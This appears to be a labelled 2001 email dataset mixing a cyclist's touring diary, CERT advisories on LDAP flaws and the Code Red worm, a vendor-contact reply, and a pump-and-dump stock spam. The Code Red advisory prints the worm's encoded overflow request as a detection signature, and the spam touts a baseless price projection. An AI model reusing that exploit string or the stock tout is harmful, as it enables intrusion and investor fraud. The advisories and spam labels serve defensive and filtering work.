answers and I fear would make my interrogator suspect that I have been bullshitting all along. So my standard answer is that I am ""a computer programmer between jobs"", which is approximately true (I was once a programmer, and I undoubtably will be again) and if I ran into another computer programmer I would be able to talk a pretty good fight. This guy in New Albin wasn't a programmer, but he did want a website, and he starts asking me alot of questions about how he should set up his website and his email. I had half a notion to say something like, ""hey, I'm on vacation, and if I wasn't, I get paid alot to answer questions like that"", but instead I got dragged into a long discussion which he tooks notes on throughout. Arrgh. Everywhere I go, I am the Computer Guy. Day 22 Date: Saturday July 14, 2001 Distance: 75 miles Moving average speed: 14.0 mph Left at 6:30 AM Arrived at 3:30 PM Overnight in Hok-Si-La City Park, Lake City, MN Latitude 44 d 28 m 25 s N Longitude 92 d 17 m 29 s W Cumulative distance 1806 miles I got an early start today simply because I woke up early and had nothing better to do than ride the bicycle. I was about 10 miles out of La Crescent when I saw signs for a ""bicycle campground"" in the Great River Bluffs State Park. Imagine that: a campground exclusively devoted to bicyclists. In all the years I've been touring, I've never seen another. Even more remarkable, this campground is not shown on the Adventure Cycling map. I will send them a little nastygram about that. Like all Adventure Cycling routes, the route along the Mississippi River in Minnesota strives to avoid traffic at any expense: additional mileage and redundant grade included. There is a rapid gain in elevation as you leave the Mississippi River going west into Minnesota, and the only reasonable thing to do if you want to go from one point on the river to another point on the river is to follow the river. Water has this way of always finding the lowest, levellest path. Between La Cresent (where I stayed last night) and Lake City (where I am staying tonight), this means US Route 61 which, along with the Canadian Pacific Railway's Soo Line, hugs the western edge of the river. Adventure Cycling was forced to take Route 61 in some places, but they leave it at every opportunity. Every time they do, they force the cyclist to climb between 300 and 500 feet of elevation only to return to the level of the river a few miles later. That is a textbook example of redundant grade. There are reasons to avoid Route 61: it has a 65 mph speed limit and heavy truck traffic. On the other hand, there is a wide paved shoulder and if you're going to have to ride it anyway, why go to all the trouble of doing all that climbing just to avoid a couple of miles of Route 61? Anyway, I saw alot of local cyclists riding on it, so it must be a common thing to do. The one tricky bit is just a mile west of La Cresent where Route 61 joins Interstate 90 for about four miles. As I discovered this morning, it turns out that the state of Minnesota is on your side. Just at the point where you are about to pass the ""Freeway Entrance"" sign there is another sign that says ""Bike Route"" and puts you onto a two mile long path from the interchange to Dresbach, where another ""Bike Route"" sign guides you onto Winona County road 11 for the remaining two miles before Route 61 leaves the interstate in Dakota. Not far at all after I had rejoined Route 61 north of Dakota I saw the signs for the bicycle campground. Had I known that only ten miles lay between me and this campground when I arrived in La Crescent last night, I surely would have stayed there instead of in a motel. But Adventure Cycling only shows one campground in the Great River Bluffs State Park, which is accessed by climbing 500 feet on a county road and then travelling 3 miles on gravel. I couldn't see facing that at the end of a 95 mile day so I took a motel. I hailed another eastbounder today. Justin Kristan is riding from Stillwater, MN to Bar Harbor, ME along the Nothern Tier Route. I encoutered him west of Winona on Route 61; he was on his third day out from Stillwater. That means he's averaging something like 50 miles per day, which is about typical for tourists. He plans to continue from Bar Harbor and do a complete perimeter tour in one year, and he has a website: readingaroundamerica.com. He was riding on 32 spoke wheels, which is really daring even considering that most of his load was on a BOB trailer. Not far west of Weaver, MN, I saw a group of recreational cyclists who were dropping onto Route 61 from county road 14. They were a good way ahead of me, so I had to open the throttle a bit to catch them, running a 104 pound bicycle at 18-20 mph for about four miles before I did. I'm glad I did catch them, they turned out to be a pretty interesting group. They meet every Saturday morning at 8:00 AM at a coffee shop (""Eagles Nest Cafe"") in Wabasha and ride until noon. Then they do the RAGBRAI every year as a team and have converted an old school bus to be their team support vehicle. I rode with them into Wabasha and had a coffee and muffin at the Eagles Nest, where there were photos on display of previous years' RAGBRAI events. >From there, it was an easy 20 mile cruise up to Lake City. Lake City has two campgrounds, Lake Pepin and Hok-Si-La, although why a cyclist would even consider staying at the former I can't fathom. It's right on highway 61 on the opposite side from the lake, has no detectable shade, and is full of RVs. Hok-Si-La, on the other hand, is set way back from the road, has a beach right on Lake Pepin (actually not a lake, just a wide part of the Mississippi River), only allows tent camping, and prohibits cars in the campground (they have to remain in a parking lot at the entrance). The park used to be a Boy Scout Camp, and the name ""Hok-Si-La"" is an Indian word meaning ""gathering place of immature, homophobic, white males"", or so I am informed by the woman at the office. Day 23 Date: Sunday July 15, 2001 Distance: 80 miles Moving average speed: 13.9 mph Left at 9:30 AM Arrived at 6:02 PM Overnight in Howard family home, St Louis Park, MN (near Minneapolis) Latitude 44 d 55 m 53 s N Longitude 93 d 21 m 13 s W Cumulative distance: 1886 miles Today was a day of more or less bizarre coincidences. The hostess for my layover in Minneapolis, Julie Howard (my coworker Andrew Howard's mother) was going to spend most of today at a family reunion in Frontenac, MN, just a couple of miles down the road from where I spent last night in Lake City. Julie grew up in Lake City, and the family used to hold reunions at the park where I camped last night. So why should I have been surprised when a car pulled over in front of me on Route 61 north of Red Wing, MN and Jim Howard (Julie's brother) shouts out the driver's side window ""Are you Chip?"". Julie was sitting next to him in the pasenger seat, so he must have been on the lookout for loaded touring bicycles moving in the opposite direction. My ride into Minneapolis was not entirely a pleasant one. I cannot really recommend Route 61 north of Red Wing for cycling, although there was a wide shoulder. I thought I could cut a corner and shave a few miles off the trip from Red Wing to Hastings by taking State Road 316. This turned out to be a serious error as most of the traffic on Route 61 thought exactly the same thing and State Road 316 lacks the shoulder that US Route 61 has. At any rate, by the time I reached Hastings I had decided that I would have to rethink my strategy for getting into Minneapolis. I had the good luck to run into a man who worked for Dakota County and initimately knew the conditions of all the roads therein in addition to being something of an avid cyclist himself. He gave me good advice on getting across the Mississippi River without getting killed, and suggested that I try a local bike shop to see if I could buy a map of the bicycle trail system in Minneapolis. That store turned out to be a waste of time (except that I could fill my bottles there) as there is nobody working in a bike shop on a summer Sunday afternoon except a bunch of pimply-faced teenagers hired temporarily to cover the summer crush. I think they probably all knew how to ride a bicycle, but they certainly had never tried anything so adventurous as riding one to Minneapolis, scarcely 40 miles away. As luck would have it, as soon as I crossed the river I joined the trail system, and some local cyclists promised to lead me as far as Lake Street, and from that point I pretty much knew how to get to St Louis Park. Unfortunately, the trail system has some places where you must portage your bicycle up and down a couple of flights of stairs. Every try that with a 100 pound loaded touring bike? There was a track on the side of the stairs where you were supposed to be able to roll your bike ... going down my tires slid down the track as I held the brakes and going up I had to push hard to get up a 71% grade! Then I was faced with the seemingly endless series of traffic lights (practically one every block) between the Mississippi River and St Louis Park. Winding up a loaded touring bike just to come to a stop a block later and do it all over again gets tired pretty quickly. Just before I made the turn from Lake to Excelsior, who should pass me but Julie Howard on her way home. We had agreed to meet there ""around 6"", and amazingly enough it was 6:02 PM when I rolled onto her driveway. Now for two much needed layover days. The chain on the Bob Jackson has 1886 miles on it and should probably be replaced before it takes out the freewheel. The tread on the rear tire is starting to look a little bald, so if I can get another one just like it (Panaracer Pasela Compe, 700X35C for you bike nerds on the list) I will replace it. I haven't had a flat tire yet, so I'm really pleased with this make of tire. I've now crossed seven states (Massachusetts, New York, Pennsylvania, Ohio, Indiana, Illinois and Iowa) and have only five left to go (Minnesota, North Dakota, Montana, Idaho and Washington), but the geography of the west is on an entirely larger scale, so as I look as my odometer (1886 miles down) and my maps (2045 to go) I realize that I am not even half way there yet after three weeks and two days of hard riding. I suppose I had better rest my knees and redouble my determination because there's still a long way to go. ",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 17 Jul 2001 00:43:29 -0400",CERT Advisory CA-2001-18," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-18 Multiple Vulnerabilities in Several Implementations of the Lightweight Directory Access Protocol (LDAP) Original release date: July 16, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * iPlanet Directory Server, version 5.0 Beta and versions up to and including 4.13 * Certain versions of IBM SecureWay running under Solaris and Windows 2000 * Lotus Domino R5 Servers (Enterprise, Application, and Mail), prior to 5.0.7a * Teamware Office for Windows NT and Solaris, prior to version 5.3ed1 * Qualcomm Eudora WorldMail for Windows NT, version 2 * Microsoft Exchange 5.5 LDAP Service (Hotfix pending) * Network Associates PGP Keyserver 7.0, prior to Hotfix 2 * Oracle 8i Enterprise Edition * OpenLDAP, 1.x prior to 1.2.12 and 2.x prior to 2.0.8 Overview Several implementations of the Lightweight Directory Access Protocol (LDAP) protocol contain vulnerabilities that may allow denial-of-service attacks, unauthorized privileged access, or both. If your site uses any of the products listed in this advisory, the CERT/CC encourages you to follow the advice provided in the Solution section below. I. Description The LDAP protocol provides access to directories that support the X.500 directory semantics without requiring the additional resources of X.500. A directory is a collection of information such as names, addresses, access control lists, and cryptographic certificates. Because LDAP servers are widely used in maintaining corporate contact information and providing authentication services, any threats to their integrity or stability can jeopardize the security of an organization. To test the security of protocols like LDAP, the PROTOS project presents a server with a wide variety of sample packets containing unexpected values or illegally formatted data. This approach may reveal vulnerabilities that would not manifest themselves under normal conditions. As a member of the PROTOS project consortium, the Oulu University Secure Programming Group (OUSPG) co-developed and subsequently used the PROTOS LDAPv3 test suite to study several implementations of the LDAP protocol. The PROTOS LDAPv3 test suite is divided into two main sections: the ""Encoding"" section, which tests an LDAP server's response to packets that violate the Basic Encoding Rules (BER), and the ""Application"" section, which tests an LDAP server's response to packets that trigger LDAP-specific application anomalies. Each section is further divided into ""groups"" that collectively exercise a particular encoding or application feature. Finally, each group contains one or more ""test cases,"" which represent the network packets that are used to test individual exceptional conditions. By applying the PROTOS LDAPv3 test suite to a variety of popular LDAP-enabled products, the OUSPG revealed the following vulnerabilities: VU#276944 - iPlanet Directory Server contains multiple vulnerabilities in LDAP handling code The iPlanet Directory Server contains multiple vulnerabilities in the code that processes LDAP requests. In the encoding section of the test suite, this product had an indeterminate number of failures in the group that tests invalid BER length of length fields. In the application section of the test suite, this product failed four groups and had inconclusive results for an additional five groups. The four failed groups indicate the presence of buffer overflow vulnerabilities. For the inconclusive groups, the product exhibited suspicious behavior while testing for format string vulnerabilities. VU#505564 - IBM SecureWay Directory is vulnerable to denial-of-service attacks via LDAP handling code The IBM SecureWay Directory server contains one or more vulnerabilities in the code that processes LDAP requests. These vulnerabilities were discovered independently by IBM using the PROTOS LDAPv3 test suite. The CERT/CC is not currently aware of the nature of these vulnerabilities. VU#583184 - Lotus Domino R5 Server Family contains multiple vulnerabilities in LDAP handling code The Lotus Domino R5 Server Family (including the Enterprise, Application, and Mail servers) contains multiple vulnerabilities in the code that processes LDAP requests. In the encoding section of the test suite, this product failed 1 of 77 groups. The failed group tests a server's response to miscellaneous packets with semi-valid BER encodings. In the application section of the test suite, this product failed 23 of 77 groups. These results suggest that both buffer overflow and format string vulnerabilities are likely to be present in a variety of application components. VU#688960 - Teamware Office contains multiple vulnerabilities in LDAP handling code The Teamware Office suite is packaged with a combination X.500/LDAP server that provides directory services. Multiple versions of the Office product contain vulnerabilities that cause the LDAP server to crash in response to traffic sent by the PROTOS LDAPv3 test suite. In the encoding section of the test suite, this product failed 9 of 16 groups involving invalid encodings for several BER object types. In the application section of the test suite, this product failed 4 of 32 groups. The remaining 45 groups were not exercised during the test runs. The four failed groups indicate the presence of buffer overflow vulnerabilities. VU#717380 - Potential vulnerabilities in Qualcomm Eudora WorldMail Server LDAP handling code While investigating the vulnerabilities reported by OUSPG, it was brought to our attention that the Eudora WorldMail Server may contain vulnerabilities that can be triggered via the PROTOS test suite. The CERT/CC has reported this possibility to Qualcomm and an investigation is pending. VU#763400 - Microsoft Exchange 5.5 LDAP Service is vulnerable to denial-of-service attacks The Microsoft Exchange 5.5 LDAP Service contains a vulnerability that causes the LDAP server to freeze in response to malformed LDAP requests generated by the PROTOS test suite. This only affects the LDAP service; all other Exchange services, including mail handling, continue normally. Although this product was not included in OUSPG's initial testing, subsequent informal testing revealed that the LDAP service of the Microsoft Exchange 5.5 became unresponsive while processing test cases containing exceptional BER encodings for the LDAP filter type field. VU#765256 - Network Associates PGP Keyserver contains multiple vulnerabilities in LDAP handling code The Network Associates PGP Keyserver 7.0 contains multiple vulnerabilities in the code that processes LDAP requests. In the encoding section of the test suite, this product failed 12 of 16 groups. In the application section of the test suite, this product failed 1 of 77 groups. The failed group focused on out-of-bounds integer values for the messageID parameter. Due to a peculiarity of this test group, this failure may actually represent an encoding failure. VU#869184 - Oracle 8i Enterprise Edition contains multiple vulnerabilities in LDAP handling code The Oracle 8i Enterprise Edition server contains multiple vulnerabilities in the code used to process LDAP requests. In the encoding section of the test suite, this product failed an indeterminate number of test cases in the group that tests a server's response to invalid encodings of BER OBJECT-IDENTIFIER values. In the application section of the test suite, this product failed 46 of 77 groups. These results suggest that both buffer overflow and format string vulnerabilities are likely to be present in a variety of application components. VU#935800 - Multiple versions of OpenLDAP are vulnerable to denial-of-service attacks There are multiple vulnerabilities in the OpenLDAP implementations of the LDAP protocol. These vulnerabilities exist in the code that translates network datagrams into application-specific information. In the encoding section of the test suite, this product failed the group that tests the handling of invalid BER length of length fields. In the application section of the test suite, this product passed all 6685 test cases. Additional Information For the most up-to-date information regarding these vulnerabilities, please visit the CERT/CC Vulnerability Notes Database at: http://www.kb.cert.org/vuls/ Please note that the test results summarized above should not be interpreted as a statement of overall software quality. However, the CERT/CC does believe that these results are useful in describing the characteristics of these vulnerabilities. For example, an application that fails multiple groups indicates that problems exist in different areas of the code, rather than in a specific code segment. II. Impact VU#276944 - iPlanet Directory Server contains multiple vulnerabilities in LDAP handling code One or more of these vulnerabilities allow a remote attacker to execute arbitrary code with the privileges of the Directory Server. The server typically runs with system privileges. At least one of these vulnerabilities has been successfully exploited in a laboratory environment under Windows NT 4.0, but they may affect other platforms as well. VU#505564 - IBM SecureWay Directory is vulnerable to denial-of-service attacks via LDAP handling code These vulnerabilities allow a remote attacker to crash affected SecureWay Directory servers, resulting in a denial-of-service condition. It is not known at this time whether these vulnerabilities will allow a remote attacker to execute arbitrary code. These vulnerabilities exist on the Solaris and Windows 2000 platforms but are not present under Windows NT, AIX, and AIX with SSL. VU#583184 - Lotus Domino R5 Server Family contains multiple vulnerabilities in LDAP handling code One or more of these vulnerabilities allow a remote attacker to execute arbitrary code with the privileges of the Domino server. The server typically runs with system privileges. At least one of these vulnerabilities has been successfully exploited in a laboratory environment. VU#688960 - Teamware Office contains multiple vulnerabilities in LDAP handling code These vulnerabilities allow a remote attacker to crash affected Teamware LDAP servers, resulting in a denial-of-service condition. They may also allow a remote attacker to execute arbitrary code with the privileges of the Teamware server. The server typically runs with system privileges. VU#717380 - Potential vulnerabilities in Qualcomm Eudora WorldMail Server LDAP handling code The CERT/CC has not yet determined the impact of this vulnerability. VU#763400 - Microsoft Exchange 5.5 LDAP Service is vulnerable to denial-of-service attacks This vulnerability allows a remote attacker to crash the LDAP component of vulnerable Exchange 5.5 servers, resulting in a denial-of-service condition within the LDAP component. VU#765256 - Network Associates PGP Keyserver contains multiple vulnerabilities in LDAP handling code One or more of these vulnerabilities allow a remote attacker to execute arbitrary code with the privileges of the Keyserver. The server typically runs with system privileges. At least one of these vulnerabilities has been successfully exploited in a laboratory environment. VU#869184 - Oracle 8i Enterprise Edition contains multiple vulnerabilities in LDAP handling code One or more of these vulnerabilities allow a remote attacker to execute arbitrary code with the privileges of the Oracle server. The server typically runs with system privileges. At least one of these vulnerabilities has been successfully exploited in a laboratory environment. VU#935800 - Multiple versions of OpenLDAP are vulnerable to denial-of-service attacks These vulnerabilities allow a remote attacker to crash affected OpenLDAP servers, resulting in a denial-of-service condition. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. Please consult this appendix to determine if you need to contact your vendor directly. Block access to directory services at network perimeter As a temporary measure, it is possible to limit the scope of these vulnerabilities by blocking access to directory services at the network perimeter. Please note that this workaround does not protect vulnerable products from internal attacks. ldap 389/tcp # Lightweight Directory Access Protocol ldap 389/udp # Lightweight Directory Access Protocol ldaps 636/tcp # ldap protocol over TLS/SSL (was sldap) ldaps 636/udp # ldap protocol over TLS/SSL (was sldap) Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. IBM Corporation IBM and Tivoli are currently investigating the details of the vulnerabilities in the various versions of the SecureWay product family. Fixes are being implemented as these details become known. Fixes will be posted to the download sites (IBM or Tivoli) for the affected platform. See http://www-1.ibm.com/support under ""Server Downloads"" or ""Software Downloads"" for links to the fix distribution sites. iPlanet E-Commerce Solutions [CERT/CC Addendum: These vulnerabilities were originally discovered in Directory Server 5.0 Beta and were later found to exist in versions up to and including version 4.13. These vulnerabilities have been addressed in the released version of Directory Server 5.0.] Lotus Development Corporation Lotus reproduced the problem as reported by OUSPG and documented it in SPR#DWUU4W6NC8. Lotus considers security issues as top priority, so we acted quickly to resolve the problem in a maintenance update to Domino. It was addressed in Domino R5.0.7a, which was released on May 18th, 2001. This release can be downloaded from Notes.net at http://www.notes.net/qmrdown.nsf/qmrwelcome. The fix is documented in the fix list at http://www.notes.net/r5fixlist.nsf/Search!SearchView&Query=DWUU 4W6NC8 Microsoft Corporation Microsoft is developing a hotfix for this issue which will be available shortly. Customers can obtain this hotfix by contacting Product Support Services at no charge and asking for Q303448 and Q303450. Information on contacting Microsoft Product Support Services can be found at http://www.microsoft.com/support/ Network Associates, Inc. Network Associates has resolved these vulnerabilities in Hotfix 2 for both Solaris and Windows NT. All Network Associates Enterprise Support customers have been notified and have been provided access to the Hotfix. This Hotfix can be downloaded at http://www.pgp.com/downloads/default.asp The OpenLDAP Project [CERT/CC Addendum: To address these vulnerabilities, the OpenLDAP Project has released OpenLDAP 1.2.12 for use in LDAPv2 environments and OpenLDAP 2.0.8 for use in LDAPv3 environments. The CERT/CC recommends that users of OpenLDAP contact their software vendor or obtain the latest version, available at http://www.openLDAP.org/software/download/.] QUALCOMM Incorporated The LDAP service in WorldMail may be vulnerable to this exploit, but our tests so far have been inconclusive. At this time, we strongly urge all WorldMail customers to ensure that the LDAP service is not accessible from outside their organization nor by untrusted users. The Teamware Group An issue has been discovered with Teamware Office Enterprise Directory (LDAP server) that shows a abnormal termination or loop when the LDAP server encounters a maliciously or incorrectly created LDAP request data. If the maliciously formatted LDAP request data is requested, the LDAP server may excessively copy the LDAP request data to the stack area. This overflow is likely to cause execution of malicious code. In other case, the LDAP server may go into abnormal termination or infinite loop. [CERT/CC Addendum: Teamware has provided additional documentation of these issues in their ""Teamware Solution Database,"" available at http://support.teamw.com/Online/s_database1.shtml. Registered users can find information on these vulnerabilities by searching for document #010703-0000 for Windows NT or document #010703-0001 for Solaris.] Appendix B. - Supplemental Information The PROTOS Project The PROTOS project is a research partnership between the University of Oulu and VTT Electronics, an independent research organization owned by the Finnish government. The project studies methods by which protocol implementations can be tested for information security defects. Although the vulnerabilities discussed in this advisory relate specifically to the LDAP protocol, the methodology used to research, develop, and deploy the PROTOS LDAPv3 test suite can be applied to any communications protocol. For more information on the PROTOS project and its collection of test suites, please visit http://www.ee.oulu.fi/research/ouspg/protos/ ASN.1 and the BER Abstract Syntax Notation One (ASN.1) is a flexible notation that allows one to define a variety data types. The Basic Encoding Rules (BER) describe how to represent or encode the values of each ASN.1 type as a string of octets. This allow programmers to encode and decode data for platform-independent transmission over a network. References The following is a list of URLs referenced in this advisory as well as other useful sources of information: http://www.cert.org/advisories/CA-2001-18.html http://www.ietf.org/rfc/rfc2116.txt http://www.ietf.org/rfc/rfc2251.txt http://www.ietf.org/rfc/rfc2252.txt http://www.ietf.org/rfc/rfc2253.txt http://www.ietf.org/rfc/rfc2254.txt http://www.ietf.org/rfc/rfc2255.txt http://www.ietf.org/rfc/rfc2256.txt http://www.ee.oulu.fi/research/ouspg/protos/ http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/ http://www.kb.cert.org/vuls/ http://www.kb.cert.org/vuls/id/276944 http://www.kb.cert.org/vuls/id/505564 http://www.kb.cert.org/vuls/id/583184 http://www.kb.cert.org/vuls/id/688960 http://www.kb.cert.org/vuls/id/717380 http://www.kb.cert.org/vuls/id/763400 http://www.kb.cert.org/vuls/id/765256 http://www.kb.cert.org/vuls/id/869184 http://www.kb.cert.org/vuls/id/935800 _________________________________________________________________ The CERT Coordination Center thanks the Oulu University Secure Programming Group for reporting these vulnerabilities to us, for their detailed technical analyses, and for their assistance in preparing this advisory. We also thank the many vendors who provided feedback regarding their respective vulnerabilities. _________________________________________________________________ Authors: Jeffrey P. Lanza and Cory F. Cohen. Feedback on this advisory is greatly appreciated. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-18.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. 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Revision History Jul 16, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBO1O5eQYcfu8gsZJZAQGupwQAikpVVn5wK0o9Kzdl3wjFf2jEhbyr3Ngz ycfKTYp8GfaKvKf9HzM/861WBmAkRIkChM+t9mQZ2FuH6nNMzfYRputHb3MK5w18 8EOE/stQbV0kDgXxi078ELkvZy4tqrNhd7KXNtsFCPvwo7XTrJJFLTpCS5Nltheq PaynurnhNrw= =mEjW -----END PGP SIGNATURE----- ",0,1 8lnp5 <0ccdfm@maxonline.com.sg>,"margarita@uclink4.berkeley.edu, shawna@uclink4.berkeley.edu, reginald@uclink4.berkeley.edu, chasity@uclink4.berkeley.edu","Wed, 18 Jul 2001 09:56:14 +0800",watch this stck go crazy WEEK STARTING MONDAY it is [NEWS ALERT] glacier mightn't mismatched adulthood,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at .10 per share. The company is currently negotiating with several investor groups for the next phase of financing. Headquartered in Phoenix, Arizona, Golden Apple is an independent oil and gas producer with a focus on North and South American properties. The Company applies advanced technologies to systematically explore and develop its oil and natural gas opportunities. Golden Apple focuses its activities where technology can be used effectively to maximize returns on invested capital by reducing drilling risk and enhancing its ability to cost-effectively grow reserves and production volumes. Golden Apple Oil and Gas, Inc has opened a Canadian office in Toronto, Ontario to facilitate the management of its Canadian operations. All correspondence and communication will continue to be serviced by the company's head office staff in Phoenix Arizona. This looks very lucrative in coming weeks, Get GAPJ First Thing Monday fixating amazingly inquisitive apprentice gerundive Atwood expertly Norway darning blackbody hypophyseal cachalot discriminates Formica Samoa bouts burlesques alligators Atwood fertilizing betrayer inconvertible Bernet butter minimum follows Gorham encyclopedia's intersected discriminates",1,0 Andy Kowalski ,ggilfoyl@richmond.edu,"Wed, 18 Jul 2001 17:22:56 -0400",Re: [Fwd: linux vendors],"The majority of our linux-raid systems are from Build To Order. Joey is our sales person at BTO. Here is his information. Joey P. Sims Build to Order Manufacturing http://www.btoonline.com joey@btomfg.com E-mail 888-888-5525 Toll Free 678-297-9945 Local 678-339-9840 Fax Ian Bird wrote: > Do you have contact details for Build to order? Can you send them to > Jerry, please? > > Thanks, > > Ian > > ""Gerard P. Gilfoyle"" wrote: > > > hi ian, > > > > i have a quick question. who does the lab buy linux boxes > > and raid disks from these days? we have been approved by nsf for > > some funds to expand our cluster. if you can give me the name > > of a contact at the lab's vendor i would appreciate it greatly. > > > > cheers, > > > > jerry > > > > -- > > Dr. Gerard P. Gilfoyle > > Physics Department e-mail: ggilfoyl@richmond.edu > > University of Richmond, VA 23173 phone: 804-289-8255 > > USA fax: 804-289-8482 ",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 19 Jul 2001 19:19:03 -0400",CERT Advisory CA-2001-19," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-19 ""Code Red"" Worm Exploiting Buffer Overflow In IIS Indexing Service DLL Original release date: July 19, 2001 Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Systems running Microsoft Windows NT 4.0 and Windows 2000 with IIS 4.0 or IIS 5.0 enabled Overview The CERT/CC has received reports of new self-propagating malicious code that exploits certain configurations of Microsoft Windows susceptible to the vulnerability described in CERT advisory CA-2001-13 Buffer Overflow In IIS Indexing Service DLL. These reports indicate that the ""Code Red"" worm may have already affected as many as 225,000 hosts, and continues to spread rapidly. Description In examples we have seen, the ""Code Red"" worm attack proceeds as follows: * The victim host is scanned for TCP port 80 by the ""Code Red"" worm. * The attacking host sends a crafted HTTP GET request to the victim, attempting to exploit a buffer overflow in the Indexing Service described in CERT advisory CA-2001-13 * If the exploit is successful, the worm begins executing on the victim host. Initially, the existence of the c:\\notworm file is checked. Should this file be found, the worm ceases execution. * If c:\\notworm is not found, the worm begins spawning threads to scan seemingly random IP addresses for hosts listening on TCP port 80, exploiting any vulnerable hosts it finds. * If the victim host's default language is English, then after 100 scanning threads have started and a certain period of time has elapsed following infection, all web pages served by the victim host are defaced with the message HELLO! Welcome to http://www.worm.com! Hacked By Chinese! * If the victim host's default language is not English, the worm will continue scanning but no defacement will occur. System Footprint The ""Code Red"" worm can be identified on victim machines by the presence of the following string in IIS log files: /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a Additionally, web pages on victim machines may be defaced with the following message: HELLO! Welcome to http://www.worm.com! Hacked By Chinese! The text of this page is stored exclusively in memory and is not written to disk. Therefore, searching for the text of this page in the file system may not detect compromise. Network Footprint A host running an active instance of the ""Code Red"" worm scans random IP addresses on port 80/TCP looking for other hosts to infect. Additional detailed analysis of this worm has been published by eEye Digital Security at http://www.eeye.com. Impact In addition to web site defacement, infected systems may experience performance degradation as a result of the scanning activity of this worm. Non-compromised systems and networks that are being scanned by other hosts infected by the ""Code Red"" worm may experience severe denial of service. This occurs because each instance of the ""Code Red"" worm uses the same random number generator seed to create the list of IP addresses it scans. Therefore, all victim hosts scan the same IP addresses. Furthermore, it is important to note that while the ""Code Red"" worm appears to merely deface web pages on affected systems and attack other systems, the IIS indexing vulnerability it exploits can be used to execute arbitrary code in the Local System security context. This level of privilege effectively gives an attacker complete control of the victim system. Solutions The CERT/CC encourages all Internet sites to review CERT advisory CA-2001-13 and ensure workarounds or patches have been applied on all affected hosts on your network. If you believe a host under your control has been compromised, you may wish to refer to http://www.cert.org/tech_tips/win-UNIX-system_compromise.html Reporting The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org with the following text included in the subject line: ""[CERT#36881]"". ______________________________________________________________________ Author(s): Roman Danyliw and Allen Householder ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-19.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History Jul 19, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBO1dohAYcfu8gsZJZAQGazQP/YSiWvPHNreLfTIBPp0JwM0KpJJ3Lif5y BtF1G+EuE9tN+PQwF4HO4gC3h02VmJDb02IKMtiHTQxldN7fkzzodcjK7dNpc20x YlNC/ez0XKpy+TRKNB9Rw/l/d+vglMRL5nt8ZaKocaGO7z1AYz8spVmhLnjXg3sU kS2E8WJf38w= =Ox7X -----END PGP SIGNATURE----- ",0,1 Chip Coldwell ,bike-diary@frank.harvard.edu,"Tue, 17 Jul 2001 19:47:00 -0400",Bike Diary #9,"Day 24 Date Monday July 16, 2001 Layover day Not much to report. I replaced the chain on the bicycle since it had over 2000 miles on it, although it probably could have finished the ride it would have taken the freewheel out with it. I spent most of the day relaxing, there are all sorts of aches and pains from fatigue injuries that have accumulated during the first half of the trip. Day 25 Date Tuesday July 17, 2001 